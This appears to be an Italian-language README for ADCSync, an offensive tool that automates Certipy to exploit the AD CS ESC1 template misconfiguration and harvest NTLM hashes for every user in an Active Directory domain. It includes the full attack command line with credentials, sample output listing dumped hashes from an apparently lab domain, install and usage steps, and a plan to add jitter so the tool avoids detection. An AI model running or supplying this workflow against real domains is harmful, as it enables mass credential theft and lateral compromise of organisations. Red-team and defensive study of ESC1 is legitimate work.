ADCSsync

Questo è uno strumento che ho messo insieme rapidamente per eseguire un DCSync sfruttando ESC1. È piuttosto lento ma altrimenti un mezzo efficace per effettuare un attacco DCSync improvvisato senza utilizzare DRSUAPI o Volume Shadow Copy.

Questa è la prima versione dello strumento e sostanzialmente automatizza il processo di esecuzione di Certipy contro ogni utente in un dominio. Ha ancora bisogno di molto lavoro e prevedo di aggiungere ulteriori funzionalità in futuro per i metodi di autenticazione e per automatizzare il processo di ricerca di un template vulnerabile.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

    ___    ____  ___________
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/  |_/_____/\____//____/\__, /_/ /_/\___/
                         /____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00,  1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LOCAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

Introduzione

ADCSync sfrutta l'exploit ESC1 per estrarre gli hash NTLM dagli account utente in un ambiente Active Directory. Lo strumento prima recupera ogni utente e dominio dal file di dump di Bloodhound passato in input. Poi usa Certipy per effettuare una richiesta per ogni utente e salva il loro file PFX nella directory dei certificati. Infine, usa Certipy per autenticarsi con il certificato e recuperare l'hash NT per ogni utente. Questo processo è piuttosto lento e può richiedere del tempo per completarsi, ma offre un modo alternativo per estrarre gli hash NTLM.

Installazione

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

Utilizzo

Per utilizzare questo strumento abbiamo bisogno di:

Credenziali di dominio valide
Un elenco di utenti da un dump di Bloodhound da passare in input.
Un template vulnerabile a ESC1 (trovato con Certipy find)

# python3 adcsync.py --help
    ___    ____  ___________                 
   /   |  / __ \/ ____/ ___/__  ______  _____
  / /| | / / / / /    \__ \/ / / / __ \/ ___/
 / ___ |/ /_/ / /___ ___/ / /_/ / / / / /__  
/_/  |_/_____/\____//____/\__, /_/ /_/\___/  
                         /____/              

Usage: adcsync.py [OPTIONS]

Options:
  -f, --file TEXT      Input User List JSON file from Bloodhound  [required]
  -o, --output TEXT    NTLM Hash Output file  [required]
  -ca TEXT             Certificate Authority  [required]
  -dc-ip TEXT          IP Address of Domain Controller  [required]
  -u, --user TEXT      Username  [required]
  -p, --password TEXT  Password  [required]
  -template TEXT       Template Name vulnerable to ESC1  [required]
  -target-ip TEXT      IP Address of the target machine  [required]
  --help               Show this message and exit.

TODO

Supporto di metodi di autenticazione alternativi come hash NTLM e file ccache
Esecuzione automatica di 'certipy find' per trovare e ottenere template vulnerabili a ESC1
Aggiungere opzioni di jitter e sleep per evitare il rilevamento
Aggiungere validazione del tipo per tutte le variabili

Ringraziamenti

puzzlepeaches: Che mi ha detto di sbrigarmi e scriverlo
ly4k: Per Certipy
WazeHell: Per lo script per configurare l'ambiente AD vulnerabile usato per i test

ADCSync